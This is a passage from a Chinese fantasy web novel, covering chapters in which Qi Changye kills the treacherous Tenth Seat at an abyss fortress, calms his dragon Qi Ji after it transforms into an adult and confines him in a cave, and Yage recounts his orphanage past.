祈长夜观察他的神情，走过去，脚下的影子蔓延，凝聚为如有实质的漆黑帷幕，将他包裹。 黑暗覆体，宋星星原本摇晃的身躯逐渐平静下来，仿佛受到某种牵引，他的头颅不受控制地往下——就像没入一滩深水，整个人骤然下坠。 宋星星吓了一跳，立刻睁开眼睛。 他的瞳孔猛然收缩。 倒映在眼前的，已是另一副画面—— 高楼坍塌，只留地基，大地疮痍，撕开无数道深不见底的裂口，纵横交错，就像被千刀万剐的残躯。 几乎被夷为平地的城市上方，一半的天空，被染为鲜血的颜色，剩下一半，则是森然的黝黑。 黑暗在涌动，高悬的地狱裂开巨嘴，吐出密密麻麻的怪物，如蝗虫过境，从天空泼洒而下，几乎覆盖了整片大地。 深渊！ 出现在天上的深渊！ 宋星星完全被这一幕震撼，血液冰凉，目瞪口呆。 从所未见的画面，就像是……末日！ 血染的末日，一个时代的覆灭！ 宋星星的眼睛陡然流下两行血泪，几乎要撕裂的视野中，忽然闯入了一抹银白。 银白的巨龙，降临于大地之上，对抗死亡的血色，撑起倾褪的天幕。 那一抹耀眼的银白，从天空贯穿至大地，简直是传闻中的神明降世，照亮天际，救赎一切晦暗。 宋星星拼尽全力睁大了眼睛，忽然看见—— 神圣凛然的白龙头颅之上、银白的龙角之间，还屹立着一道身影。 乌黑长发，黑衣利落，如厉火中出鞘的利剑，直指末日天倾。 像是察觉到了不属于这里的注视，那个黑衣男人回眸，乌黑如渊的眼眸，在血色苍穹之下，在晦暗的深渊之中，投来轻描淡写的一瞥。 这一眼，隔着无数时光，交汇于宋星星的眼中。 他整个人好像被浇筑成了一尊石像。 “是……你？” 第三十六章 成年帝龙 大地之上。 雅歌随着枪声倒下, 离她最近的几个亲卫立刻冲过去，接住了她。 一切只发生在瞬息之间，他们还身陷在怪物的包围中, 就在亲卫想带着他们城主返回时——周围的怪物, 忽然如潮水般掠过他们身边, 直奔他们身后而去。 雅歌按住流血的腹部, 紫罗兰色的眼眸, 第一次出现了愕然的情绪。 那些怪物，没有一只留下来攻击他们，全都涌向他们身后……涌向了要塞！ “要塞被破了！” 不知是谁惊呼一声, 仿佛有重石当空砸下, 压得所有人一个踉跄。 怎么可能？！ 雅歌再次回头, 很快, 她的表情变得极度愤怒。 原本，延伸数公里的百米城墙圈住整片深渊，浇筑城墙的并不是普通材料，而是以深渊开采的晶石打造而成的坚壁，对怪物有绝对的防御作用。 这也是她放心让祈长夜进入深渊, 而不担心怪物的底气所在——高墙铸就的钢铁要塞，本身就是抵御深渊的重器，固若金汤的防线。 第一道防线, 是前方的进化者, 就算这道防线被破, 他们退至高墙上，也能挡住兽潮。 而现在, 高墙连接要塞的出入口，原本最为坚固的防线中枢……已然大开！ 那些深渊中涌出的怪物, 仿若受到某种指引，径直绕过了所有进化者，冲进要塞之内！ 它们甚至没有丝毫停留，直接穿过要塞，奔向荒原！ “你们想干什么？！” 要塞的灰白塔台之内，被扣在地上的塔台监察官目眦欲裂。 刚才，第十席带人来到这里，他本以为这位来自乌城的尊贵坐席是要帮助指挥战场，没想到对方忽然发难，指使一众进化者抢走他的控制中枢，打开了要塞大门！ 要塞之后，还有一座芙洛城。此刻，所有进化者都聚集在要塞，芙洛城根本没有多少力量防守！ 那些怪物……一旦穿过荒原，就会撞上城市！ 监察官拼命挣扎，怒瞪那位表情自得的第十席，发出撕裂喉管的怒吼：“我们哪里得罪过你？你根本不配做第十席！你根本不配为人！！” 米尔达手握要塞的控制中枢，嗤笑一声：“虫子就是喜欢聒噪。” 他瞥了眼监察官的表情，似乎心情很好，洋洋得意地欣赏起了他的绝望：“至于得罪嘛，那倒是没有。” “不过，好不容易有机会能把我讨厌的虫子彻底踩死，怎能浪费呢？” “放心，你们死后，尸身都会被带到上城，作为——祈长夜的罪证。” “作为卑贱的下城人，死后能葬入上城，也是你们的荣幸。” 话音刚落，他旁边的随从低语：“大人，我们该撤退了。” 米尔达丢掉中枢控制器，抬脚碾碎，走出塔台。 此刻，他简直浑身舒畅。 虽然来到这里之后，深渊的异变超出他想象，但之后发生的一切，顺畅得就像老天都站在他这边。 原本，他也是想找个机会暗中解决祈长夜。 现在，要塞被破，芙洛城的沦陷只是转瞬间的事情，只要他回到上城，这笔累累血债就会被扣到祈长夜身上。 不管是第三席，还是那位大人，谁也别想保住这个三年前就该死的人。 ——从“祈长夜”这三个字传回上城的那一天，他就想将他彻底摁死，可惜，谢家无能，其他人更是废物。原本他还能勉强隐忍，可谁知，居然连那位大人都向祈长夜投来了青睐的目光。 十二坐席，除非死亡，否则不会更换。在三年前那场恶劣的刺杀事件之前，十二坐席已完整高居殿堂十数年。 现在，居然有人以卑贱之身，妄图将尊贵的坐席拽下神坛——三年前的那一夜对于上城贵族已是血淋淋的耻辱，还以为历史会再次重演吗？ 米尔达仰起头颅，灼灼的目光投向天空中的那轮太阳，很快，他就被太阳刺痛了双眼，不悦地眯起眼睛。 “也该落幕了。” 至于那座即将覆灭的城市？ 那都是蝼蚁的命。 ——一道裂帛穿云的龙吟，从深渊之下破开大地，扫荡整片天空。 刹那之间，天地皆寂，唯有龙吟之声久久回荡，震慑世间万物。 米尔达一个踉跄，直接跪倒在地，两股战战，面色煞白。 那不知何物的吟啸之声，宛若山峦崩塌、金石玉碎，难以形容的神圣威赫、气势磅礴，仿佛高高在上的神明投下威严的一瞥，令他们瞬间肝胆俱裂。 龙吟的尾音隐于云层之间，死寂的大地上，深渊不再沸腾，一片沉寂。 雅歌也是久久不能回神，甚至忘了身上的疼痛，直到有什么东西闯入余光，她立刻扭头——深渊出口，一道身影狼狈地爬了出来，正是宋星星。 她还有余力上前，一把抓住对方：“发生了什么？！” 宋星星好像也受到了某种震荡，脸色一片恍惚：“我不知道啊！” 刚才，他用全部的精神力探测深渊之底，脑海里骤然闯入了一道难以言喻的画面。 他看见了末世，银白的巨龙，还有……一个长得和祈长夜一模一样的人！ 他的能力，不仅可以使自己感知周边，也可以共享给他人。所以，当场他就下意识调动了能力，将这份精神感知扩散了出去。 也许那道画面同样传达到了祈哥和他弟弟的眼前，等他从冲击中回过神来，就发现无论是祈哥还是他弟弟，都变得不太一样了！ 再然后，他就被狂风送出了深渊。 “祈哥他们没上来吗？天哪城主，你在流血！” “……” 雅歌没有说话，锐利的目光扫过全场，忽然，她的眼眸微微一凝。 ——百米高墙之上，一道身影迎风而立，掠起的漆黑衣摆，如展翅的苍鹰。 瘫在地上的米尔达还没出那震碎肝胆的恐惧中反应过来，就见那个噩梦般的人，正站在他的面前。 “你怎么还活着？！” 根本没想到祈长夜还能出现在这里的米尔达一声尖叫，拖动着庞大的身躯就想逃跑。 “别放过他！”不远处的监察官发出一声怒吼，“是他破坏了要塞，他要害死芙洛城所有人！” 祈长夜鸦羽般乌黑沉沉的眼睫轻动，白昼瞬间转入黑夜，黑暗覆盖高墙，天光被吞噬，仿若深渊再临。 所有上城的进化者，皆在这一瞬间，被深渊淹没。 逃跑的米尔达只觉双足被利刃贯穿，他发出一声扭曲的惨叫，不受控制地摔在地上，两眼一黑，差点昏死过去。 祈长夜只迈出一步，靴底重重踏上他的胸口，令他当喷出一口血。 “你……你想干什么？！” 回应他的，是寒夜般的死寂，还有那双居高临下的、幽冷如深渊，锋利如刀锋的眼眸。 难以形容的恐惧将米尔达吞没，他浑身剧烈颤动，脸庞都因为惧怕而扭曲变形。 “你不能杀我，我是第十席，我是贵族！！” “杀了我，你也要被判处死刑！” “祈队，祈队！不如我们和好吧！各退一步怎么样？就当做什么都没有发生！回到上城以后，我会全力支持你！你想要功勋金钱和权势都可以给你！你想成为十三坐席吗？只要我的家族出面，一定能保你成为第十三位坐席！” 只要回到上城，自有议事厅庇护他！ 最多是出点血，掉点肉，到最后，他还是高居殿堂的第十席！是上城百年贵族的掌舵人！！ 只要他能回去，舍弃一点尊严又算什么，现在的耻辱，来日必将—— “啊！” 凛冽的寒风刮骨刀般剜过面庞，米尔达的瞳孔猝然收缩为一点。 祈长夜单手扼住第十席的脖颈，苍白指间筋骨爆起，已将他整个人离地拖起，悬在百米城墙之外！ 双脚悬空，脚下就是深渊。曾经高居上城，轻描淡写地碾死过无数蝼蚁的第十席，此时此刻，在深渊之上大声哀嚎，痛哭求饶，涕泪横流。 他被恐惧和绝望爬满的眼睛，像一面破碎的镜子，倒影出另一双眼眸。 寒冽，肃杀，冰冷锋锐，这双乌黑的眼眸，曾在三年前，对视过另一位同样在死前哀嚎求饶的坐席。 他是一柄千锤百炼的利剑，蒙尘三年，依然见血封喉。 “不！你不能！你——” 惨叫的尾音被硬生生扯断，第十席坠落了下去。 就像一只趴蛀在树上多年的虫豸，被飞鸟啄走，从高大的树干间坠落，掀起无足轻重的尘嚣。 片刻后，才有鲜血，缓缓没入肮脏的泥间。 腥臭的气味，随风扑面而来。 不远处，宋星星完全惊住了。 “第十席……死了？” 雅歌一巴掌拍在他脑壳上，哈哈大笑：“是喜事啊，又可以换新了！” “淦，好疼！” “城主！” 寒风卷过猎猎衣摆，勾勒出修长如利剑的身影。祈长夜背对深渊，面对荒原，闭上眼睛。 再睁开时，乌黑眼底，燃尽灼烈的金色。 仿若有一轮炽热的太阳当空，盛大的白昼熊熊燃烧，灼灼光耀照彻荒原。 所有人惊骇的目光之中，他们脚下，那片诞生近百年的深渊在下沉，黑暗消弭于烈阳，深渊隐匿于白昼。所有逃出深渊、奔袭而向芙洛城的怪物——皆被不可违逆的力量，拖回深渊！ 大地震颤，被深渊撕裂的地缝……正在合拢！ 这一幕，简直是神明之伟力，宏大的奇迹。所有人不约而同地仰起头颅，在深深的震撼之中，仰望那道屹立高墙的身影。 人群之中，雅歌目不斜视，陡然生出了一丝怪异的感觉。 好像，少了什么。 那只与祈长夜形影不离的小龙，在哪里？ 高墙之上，祈长夜微微低头，从衣袋里，捧出一只银白小龙。 小龙似乎陷入了沉睡，一动不动，祈长夜的目光停在它的身上，片刻后，落回深渊。 狭长的深渊，即将闭合的一刹那间—— 一双金色的龙瞳，冰冷睁开。 金石迸裂的龙吟，震颤大地，卷起如雷声浪。 银白而庞大细长的身影掠过高墙，腾空而起，闪烁的银雪，蜿蜒至十数米。 那是所有人都未曾见过的巨大生物，银白的身躯神圣美丽，透出难以形容的威严而凛然，金色的瞳孔，如点燃的黄金，烈烈烧灼。 祈长夜眼眸震动，按住额头，突然泛起的尖锐疼痛之中，一道低沉的男声，回荡在他的耳畔。 “为什么抛下我？” “为什么……不要我了？” 和少年截然不同的成年男声，低哑而干涩，仿佛经过血与钢铁的摩擦，透出刺骨而陌生的寒意。 祈长夜眼睫一跳，对上那双陌生的龙瞳。 飓风卷动，银白的巨龙伸出锋利的龙爪，将它的人类掠夺—— 而后，没入深渊！ 第三十七章 小龙和大龙 深渊。 祈长夜坐在断崖边, 双腿悬空，任由风流转在自己衣间。 黑暗的深渊，不再有怪物嘶吼, 而是一片寂静。 片刻后, 轰隆如雷的炸响, 粗暴地打破了安静。 祈长夜偏过脸。 一条长约二十几米的银白巨龙, 趴在深渊的石壁上, 每一枚鳞片都泛着美丽的光泽，在黑暗之中格外明亮醒目，就像一轮银白的太阳。 银龙抬起锋利如钩的龙爪, 每一次划过石壁, 厚重的石壁就如豆腐般四分五裂, 数不清的石块滚落深谷。 成年的银龙, 就这么趴在山壁上刨啊刨，很快将深渊刨出了一个深坑。 然后，银龙转过头颅，那双灿金色的龙瞳明亮如燃烧的黄金，仿佛能够洞穿深黑的暗夜。 庞大的龙躯风一般轻灵游动而来, 落在祈长夜身边，一声不吭，对他伸出一只锋利的爪子。 祈长夜看着那只寒光闪烁、挖了半天山洞却没有一丝磨损的龙爪, 并未靠上去, 而是直接往下方的深渊一跃。 原本停在他身侧的龙爪立刻探下几分, 稳稳接住了他。 然后，银龙就一动不动了两秒, 金色的龙瞳盯着祈长夜。 不知道是不是被他刚刚的动作吓到了，一声不吭的。 气呼呼。 祈长夜摸摸龙爪, 冰凉而坚硬的触感，像坚不可摧的冷铁。 气呼呼的银龙飞快收紧爪子，刚好是个将祈长夜圈在掌心、让他无法逃脱，却又不会让锋利的爪子伤到的姿势，长而有力的尾巴一摆，回到了刚才的山壁间。 数百米高的垂直山壁，悬空的中间被银龙挖出一个巨大山洞，足以容纳它和它的人类。 它先抬爪，小心翼翼地塞进山洞里，让祈长夜踩到里面的地面，然后自己也钻了进来。 祈长夜就看着那美丽无暇的银白鳞片直接碰到满是灰尘的山洞，很快沾上了不少灰，就像染上污痕的白雪。 “……” 回去就丢浴缸里。 他心想。 不爱干净的小龙。 银龙并不知道他的想法，非常满意地看着它的人类被自己圈在山洞里，抬起尾巴，堵住了山洞唯一的出口，将它的人类彻底关在它身边。 山洞没有一丝光线，美丽的银龙却散发着莹润的雪光。它垂下头颅，一对银白龙角像是精心雕琢的珊瑚钻石，不再是软绵绵的小角，而是充满力量与威严。 成年的银龙紧紧躺在祈长夜身边，那双灼烈的灿金色的龙瞳，一眨不眨地盯着他看。 不吭声，就这么看着，好像能一直看到天荒地老。 祈长夜轻轻开口：“祈霁？” 银龙没吭声。 祈长夜抬手，冰凉掌心贴上银龙的头颅。 金色龙瞳眨了一下，过了两秒，又眨了一下。 祈长夜掌心之下，冰凉凉的大龙开始发烫，变得暖乎乎的。 温暖将他包裹，隔绝了深渊的一切寒意，就像一只大太阳。 祈长夜掌心缓缓摩挲，摸一下银龙，那双龙瞳就眨巴一下，原本锐利张扬的龙瞳，好像变得有点圆滚滚的。 他知道，这条小龙，肯定是他的小祈霁。 但，失去了理智的小龙，变得格外陌生。而且，好像也不是很想和他交流。 祈长夜一边安抚银龙，一边整理思绪，记忆随之回到数小时前。 ——那时，宋星星将自己的情绪感知分享给他们，他的眼前，出现了一道画面。 坍塌的城市，血红的苍穹，出现在天上的深渊，还有，熟悉的银龙。 画面里的银白巨龙，比现在的祈霁还要大上数倍，应该是已经完全成年、巅峰状态的真龙——而且，和祈霁长得一模一样。 这就是祈长夜看到的全部内容。 他不太能确定那个画面意味着什么，是小龙的过去？它破壳之前的“前世”？还是，注定会发生的未来？ 无论如何，画面太过真实，他好像凭空多了一段记忆——与之而来的，还有一份熟悉的力量。 那份力量无比嵌合他的躯体，就像是，深渊之底一直潜藏着他遗失的部分力量，随着记忆的回归，也重新被他找回。 也是那一刻，他一直因为小龙而缓缓增长的精神力，彻底恢复了。 不过，当时的他并没有怎么关注自身的状态，因为他发现他的小龙不太对劲，像是受到了很深的情绪冲击。 那时的祈霁，似乎看见了和他不一样的画面，它所复苏的记忆，恐怕也不是什么好事——甚至于最终，让它直接失控暴走。 祈长夜不知道他的小龙究竟看见了什么，他只能隐约猜测，可能和自己有关。 不久前，祈霁就因为深渊中能够口吐人言的怪物而被明显触动了负面情绪，变得极端愤怒。 那时，它就想将他留在身边。 现在，失去了大部分理智的银龙，只是在坚定执行自己的执念。 祈长夜与银龙对视，和之前浅金色的龙瞳不同，现在的龙瞳是一片纯粹而又灿烂的金黄，像银色湖畔里几乎要满溢而出的流金。 在深渊之底，他的小龙同样获得了一份力量。 原本，渡过褪鳞期的小龙离成年只有一条界线。而现在，力量复苏，它直接跨过最后的界线，成为一条成年的真龙。 这也让祈长夜更加确定了之前的预想——祈霁的成长，并不是缓慢地循序渐进，而是在一个阶段停留一会，忽然因为某个契机，直接跨越到下个阶段。 不像是“成长”，更像“复苏”。 只是这一次，力量的突然复苏，伴随着一份极其糟糕的记忆，所以才让祈霁在陡然强大的同时，被负面情绪吞没，无法控制那份力量，最终导致了失控。 祈长夜若有所思地开口：“你到底看见了什么？” 到底是怎样的画面，才能让小龙瞬间失去理智？ 银龙一眨不眨地盯着他，还是不吭声。 祈长夜收回手，不摸了。 将他带入深渊之前，祈霁还和他说了两句话。 那时，他听见的男声，明显就是祈霁的声音。和之前的少年声音相比成熟了不少，但依然是熟悉的底色，轻灵又悦耳。 也就是说，这只小龙现在也是会说话的，只是不想说。 银龙：“……” 没了摸摸，那双睁得圆溜溜的龙瞳似乎呆了两秒，一下子耷拉了下来。 一声不吭地，有点委屈地看着祈长夜。 为什么不摸摸了。 祈长夜：“……” 他又抬手，掌心重新落回银龙脑袋上。 银龙凑近一点，慢吞吞地蹭蹭他。 “祈霁。”祈长夜心平气和地抚摸着他的小龙，一字一句地说，“不管你看见了什么，我都在这里，也会一直陪着你。” 他希望，他的小龙能好好的。 而不是像现在这样，封闭自己的内心，不愿意和他交流。 银龙不知听没听见祈长夜的话，亦或者是失去理智的它，其实无法理解那些语言。 它只是不停地黏着祈长夜蹭来蹭去，想让自己龙躯的每一寸，都紧紧贴着这个人。 似乎，只有完全占有了它的人类的气息和温度，失控的银龙才能够安心。 然而，成年的真龙体型太大，总有碰不到祈长夜的地方，很快，这只大龙多了几分小不满，在他身边扭来扭去。 成功被蹭了一身灰的祈长夜：“……” 扭来扭去的银龙，忽然间灵机一动，甩了下脑袋。 啪叽。 一只银白小龙，落到祈长夜衣间。 祈长夜目光微动，伸出双手，银白小龙昂起脑袋看看他，跳到他的掌心里。 这下，小龙总算一整只都贴住了祈长夜，让自己全身都能挨着这个人蹭蹭。 蹭蹭这里，蹭蹭那里，像只小黏皮糖。 祈长夜手指轻轻拨弄一下小龙的脑袋，小龙立刻扭过头，似乎还想用小爪爪抱住脑袋，不给他摸。 小爪爪太短，抱不住。 “……” 最后，银白小龙一声不吭地把脑袋塞进了祈长夜袖子里，抻直一小条，躺平。 继续蹭来蹭去。 祈长夜：“。” 他以前怎么没发现，祈霁是条倔强小龙。 祈长夜捏住甩来甩去的尾巴尖尖，直接把这只小龙提溜了出来。 小祈霁：“？” 被捏着尾巴倒提起来的小龙一下子露出了危险的小眼神，嗷呜嗷呜地挥着小爪爪，扭来扭去。 如果是只大龙，可能会十分威风霸气，但现在只是一么么大的小龙，在祈长夜眼中，像只弹来弹去的小黏皮糖。 他不为所动，就当这只小龙失了智，提溜在半空甩一甩：“还记得我是谁吗？” 小龙不吭声，又试图用小爪爪去够祈长夜的手指，够不着，继续扭来扭去。 祈长夜：“不理我？” 继续甩一甩小龙。 飞快甩来甩去。 “……” 啪。 山洞内的光线骤然变亮，一条银白的巨龙，盘踞在祈长夜身边。 飞快游走，柔韧而坚不可摧的龙躯一圈圈缠绕，将他“捆”了起来。 那双明亮的龙瞳，定定地看着他。 好像在说，现在你不能甩我了！ 祈长夜：行。 不能就不能。 他非常淡定地抬手，拍拍银龙头颅。 银龙保持霸气的姿势，一动不动了两秒。 两秒后，慢吞吞垂下脑袋，银白龙角轻轻抵住它的人类。 摸摸。 看似坚硬的龙角，贴上祈长夜脸庞时，是意想不到的柔软。 细腻的龙鳞，隔着薄薄衣料，贴近祈长夜薄白的肌肤，一寸寸磨蹭，又逐渐收紧。 不过，还是因为体型的差距，不能全身都贴住它的人类，让银龙又有点小不满。 过了两秒，再次变回小龙。 非常霸气地抬起小爪子，抱住祈长夜的手，继续蹭来蹭去。 祈长夜发现，这只小龙变成大龙的时候，还肯让他摸摸，变成小龙反而不肯了。 但是，他稍微把手移开一点，小龙就嗖嗖快地追了过来，紧紧地黏住。 昂起小脑壳，警惕地抱紧他的手指，圆溜溜的龙瞳看了他两秒，确认他不会跑掉，继续埋头，黏糊糊地蹭来蹭去。 那条软软的小尾巴，也摇得飞快。 祈长夜垂着眼睫。 失智小龙，怎么才能治好？ 他沉思片刻。 另一只手拿出通讯器，在上面敲了起来。 小祈霁：“……” 小祈霁：“？？？” 第三十八章 看见了死亡 深渊底层当然是没有信号的, 就算有通讯器，也无法发出。 祈长夜原本只是想试一试，见真的联络不到地面, 也就放弃了。 放下通讯器, 对上一双灼灼的龙瞳。 小龙又变回成年的银龙, 幽幽地盯着他。 祈长夜淡定地抬手, 想要摸摸他的小龙脑袋, 手还没落下，银龙就一声不吭地凑过来。 嗷呜一口。 把通讯器吞了。 祈长夜：“？” 祈长夜第一次见到还有这样的操作，冷静如他, 也破天荒地停顿了足足两秒。 抓紧银龙的脖子, 摇晃摇晃：“吐出来, 不能吃。” 银龙紧紧闭着嘴, 拒绝地扭过脑袋，一只龙瞳还斜过来瞄他。 谁让你不看我！ ——从那双幽幽的龙瞳里，祈长夜读出了这条信息。 “……” 他忽然意识到，失了智的小龙，性格好像走向了某种极端。 还是说, 这份偏执与极端，本来就是祈霁的性格底色？ 祈长夜无言片刻，从衣兜里掏出一颗糖。 拆开漂亮的糖果纸, 草莓味的糖, 散发甜甜的香味。 小祈霁最喜欢的口味。 果不其然, 银龙转过来，默默地把脑袋凑近一点。 祈长夜：“吐出来, 就给你吃。” 银龙默默地把脑袋挪远一点。 祈长夜无言一秒，说：“我不看它, 只看你。” 银龙垂下脑袋，盯着他。 “真的。” 得到了祈长夜的承诺，银龙才慢吞吞地把通讯器吐了出来，丢得远远的。 祈长夜抬手，捏着糖的手指薄白而修长。 银龙盯着他的指尖看了两秒，凑过来亲一口，然后才咬住了那颗糖。 喜欢。 这条大龙似乎有点愉悦，脑袋抵着祈长夜胸口蹭蹭，摇了摇尾巴。 祈长夜的目光落过那条尾巴。 细闪的鳞片，覆盖银龙全身，然而，漂亮的尾巴末端，却缺了一小枚鳞片。 那其实很不明显，可一旦注意到，就像烫下烧红的铁块，再也无法忽视。 祈长夜沉默下来。 银龙无知无觉，见他一直看着自己的尾巴，又飞快摇了摇，好像在开屏。 我的尾巴很好看。 给你摸。 细长的尾巴塞到祈长夜怀里，像一尾活泼的鱼，到处作乱。 祈长夜抱住龙尾，顺着鳞片摸了两把，银白的龙鳞，触感冰凉细腻，像上好的丝绸锦缎。 被他摸了没两下，又变得暖烘烘的，微微发烫。 银龙的心情似乎更好了，一圈圈缠住祈长夜，尾巴抽出来，脑袋埋进了他的怀里。 这其实是个看着就很不舒服的姿势，因为银龙的体型庞大，硬塞也不能把自己完全塞进祈长夜的怀抱中，但偏偏祈霁很喜欢的样子，就这么黏着祈长夜，到处嗅嗅他的气息。 祈长夜感觉自己怀里的不是龙，而是毛茸茸拱来拱去的猫猫。 他的眼眸柔和了几分，顺着鳞片撸撸大猫，说：“现在能和我说几句话吗？” 银龙在他胸口拱来拱去，好像没听见。 祈长夜：“那我走了。” “！” 银龙立刻紧紧缠住了他，嗖嗖快地多缠了好几圈。 那双金色的龙瞳也染上了几分幽怨，不吭声，只是幽幽怨怨地看着他。 祈长夜：这次听见了。 他说：“你要把我一直关在这里吗？” 山洞内安静了几秒，就在祈长夜以为这次也不会得到回应时，他的耳畔，响起了低沉的男声。 【不准走】 【不准你抛下我】 祈长夜目光微动。 他的小龙，声音的确很好听。但这种陌生的语气，不像祈霁，更像是出自另一个人之口。 他的语气平和：“我什么时候抛下了你？” 话音刚落，他清晰地看见，那双金色龙瞳被幽深吞没，像是触动了什么记忆，再次隐有失控的感觉。 “祈霁。”祈长夜抬起双臂，环过银白巨龙的脑袋，“如果你看见了什么，那也是假的。” “就算是预言，也不代表不能改变。” 幽深的金色龙瞳定定地凝视他，几秒后，冰冷的男声再次响起。 【不听】 然后，银龙脑袋一扭。 不信，不理。 祈长夜：“……” 倔强小龙。 所以，到底看见了什么？ 他摸摸银龙脑袋：“我们先回地上？” 银龙一瞬又转过目光，晦暗的龙瞳紧紧锁住怀中的人类。 【地面？】 低沉悦耳的成年男声，笼上一层刺骨寒霜。 【那些人的死活，和我们有什么关系】 银龙吐出漠然的话语，那双金色的龙瞳，也多了几分戾气。 【你哪里都不能去】 【我在哪里，你就在哪里】 这只银白巨龙冷冰冰、硬邦邦地说完。 又把脑袋往祈长夜怀里一扎，开始乱蹭。 “……” 祈长夜无言，眉心不易察觉地微蹙了一下。 直到现在，他可以确定，他的小龙凭空多出了一份并不属于现在的“祈霁”的记忆。 刚才那番话，祈霁对“地面”充满了憎恨，可是，这条小龙本不该有如此强烈的憎恨。 所以，现在在他的面前，到底是祈霁……还是，一个来自旧地球时代的，长眠于深渊之底的那条巨龙的灵魂？ 祈长夜眼帘微垂，目光游走过银白龙躯，最后，停在一个地方。 脖颈下方，靠近心口的位置，一枚爱心形的鳞片，闪闪发亮。 他轻轻抬手。 银龙一眨不眨地看着他，对他毫不设防，任由他的手伸向自己—— 按住了那枚心形鳞片。 “嗷！” 刚才还阴戾冰冷的银白大龙好像被踩到尾巴的猫猫，扭来扭去，翻腾挪滚，瞬间掀起无数尘土。 被灰尘糊了一脸的祈长夜：“……” 下一秒，银龙变回一只小龙，嗖地蹿进了祈长夜袖子里。 祈长夜掀开袖口，就见里面的银白小龙用爪爪捂住自己的那枚鳞片，睁着大大的龙瞳，与他对视一秒。 又往袖子里缩缩。 祈长夜：“。” 原来弱点在这里。 他提溜起小龙，向外走去。 ——然而，才踏出一步，威严的龙瞳自空中睁开，金黄色的鳞甲延展，化为高山般的屏障，挡在他的身前。 祈长夜低头，银白小龙从袖子里爬出来，紧紧地盯着他。 那双金色的龙瞳，又变回了最初的戒备与森然。 祈长夜平静地想：好吧。 看来只能用其他方法，让他的小龙清醒过来了。 他的脚下，影子开始蔓延，化为一片阴影，连接了周围的深渊。 黑暗涌动，狂风随起，两边的力量碰撞在一起，又纠缠不分。 并没有分出胜负，因为两边都没有真正出力，只是你来我往地交锋。 深渊在震动，不知过去多久，祈长夜耳边，响起一道轻缓的声音。 【哥哥？】 祈长夜停手。 金色鳞甲自动瓦解，银白巨龙降落在他面前，看看自己，又看看他。 那双龙瞳忽然就耷拉了下来，躲躲闪闪的，好像一下子不敢面对他了。 祈长夜转身，坐回原来的位置，拍了拍身边的地面。 “……” 银龙慢吞吞飞过来，挨着他的身边，过了两秒，围着他的腰缠了一圈。 祈长夜捏住这只大龙的爪子，晃一晃：“清醒一点了吗？” 祈霁慢吞吞点点脑袋。 【哥哥，对不起】 不知为什么，成年的男声又变回少年的声音，软软的。 原本冰冷威严的银白巨龙，此刻也像没骨头似的，软趴趴地黏在祈长夜身上。 【我失去了理智，对哥哥做了不好的事情】 祈长夜低头看看自己：“也没有不好的事情。” 祈霁沉默，尾巴搭在祈长夜腰间。 “所以，”祈长夜摸摸拱到自己肩窝的大龙脑袋，“你看见了什么？” 缠在腰间的龙尾一下收紧，鳞片紧绷，肌肉虬结。 祈长夜等了片刻，没等到回应，平静地说：“你看见了我的死亡，对吗？” 话音刚落，金色龙瞳之中，掀起怒海狂澜。 ——它看见，天地倾覆，世界毁灭，它最重要的，唯一珍视之人……坠落在它面前。 它目眦欲裂，竭尽全力想要阻止，却无能为力，只能眼睁睁看着它的太阳沉没，余温焚灼大地，将它的心脏肝肺烧灼一空，直到无法遏制的愤怒与绝望，吞噬了它的全部心神。 抽筋剥皮，也抵不上万分之一的痛楚。 无比真实而残酷的情绪吞噬了真龙，让它直接失去了理智，那期间唯一清明的思绪，就是把它的太阳关起来，不再让他回到大地。 直到现在，祈霁的理智才得以回笼。但，那不知是预言还是昨日重现的一幕，如同永远不会熄灭的幽冥烈火，依然缓慢地炙烤着它的皮肉筋骨。 【哥哥】 祈霁低声说。 【我能保护你，哪怕天倾，哪怕世界终结】 祈长夜：“嗯，我知道，因为你是很厉害的大龙。” 他所见到的画面中，世间唯一一条真龙，能够不惧深渊侵蚀，能够翱翔于倾颓天幕。 【人类的时代注定终结，深渊就是他们的倒计时，现在，不过是延缓了百年的时间】 毫无温度的金色龙瞳，在黑暗的深渊里，透出无关己身的冷酷。 【就算这样，哥哥也还是要选择他们吗？】 它从来不是什么太阳。 它绝不允许它的太阳，被任何事物夺走。 祈长夜安静了片刻，掌心轻轻落在那对金色龙瞳上方。 他微微仰起脸庞，目光穿过无边的深渊，投向那似乎遥不可及的大地。 “想知道我的过去吗？” 第三十九章 对我负责！ “长夜的过去？” 荒原上, 雅歌单手拎着铁揪，看向对面的青年。 “你在乌城这几年，居然没有了解过吗？” 宋星星将铁揪用力插.入地面, 摇了摇头：“队长告诉过我, 我想听听您的说法, 毕竟, 您是和祈哥关系很好的人。” 雅歌的目光落在前方平坦的荒原上, 铁揪掀起泥土：“我只知道，他十几岁被接到乌城之后的事情。” “那之前，他一直待在孤儿院里——那并不是普通的孤儿院, 而是‘灰烬’的伪装。” 宋星星：“灰烬？” “现在的年轻人已经连这个都不知道了吗？”雅歌摇了摇头, “灰烬, 一个反人类机构, 疯子聚集地，曾经在乌城掌权几十年，地位和议事厅持平。” “表面上，灰烬宣称自己能够引领人类走向光荣的进化，私底下却搞了不少肮脏的人体实验, 至少上万个无辜之人死在他们的实验台上，曾经的旧地球血脉，也几乎被他们屠杀殆尽。” 宋星星一愣：“祈哥……不就是旧地球血脉吗？” 雅歌一脚踩在铁揪上：“是啊, 好像是十二岁之前, 他都被关在灰烬的孤儿院里。后来, 灰烬倒台，那座孤儿院死伤无数, 应该是灰烬高层早有预料，对内部展开了大清洗。” “那场大清洗中, 容纳数万人的孤儿院只有少数几个幸存者活了下来，长夜就是其中之一。” “当时负责收尾的薪火小队赶到现场，将他带回乌城，我听说，是薪火小队队长叶唯风扛着议事厅的压力，一人与十二坐席争辩，最终，让长夜留在了自己小队。” “三年后，他正式转正，成为薪火小队副队长。” “那应该是他少有的快乐时光，薪火小队将他从灰烬的阴影里救赎了出来，让他走出持续了快十二年的梦魇，终于有了新的人生。” “——然后，薪火覆灭了，在一次任务里，除了祈长夜，全员死亡。” 如此急转直下的转折，宋星星张大了嘴巴：“不是因为……一场意外吗？” “你的队长这么和你说的？”雅歌挑了下眉，“薪火的覆灭，有很多原因。其中一个，可能是他们负责了灰烬倒台后的收尾工作，乌城仍有灰烬残余，盯上了他们。” “还有一个原因，是薪火太过耀眼。已经有了叶唯风这样万里挑一的优秀队长，居然又出了祈长夜这种百年不遇的‘怪物’，更别提，这位副队长还那么年轻，他的未来还无限光明。” “乌城有些人，见不得耀眼的日光。” 雅歌的表情染上了几分讥讽。 “所以，那次任务里，薪火小队遭到了乌城史上最惨烈的围杀，背后的主使，是当时乌城权势最盛的第十席。” 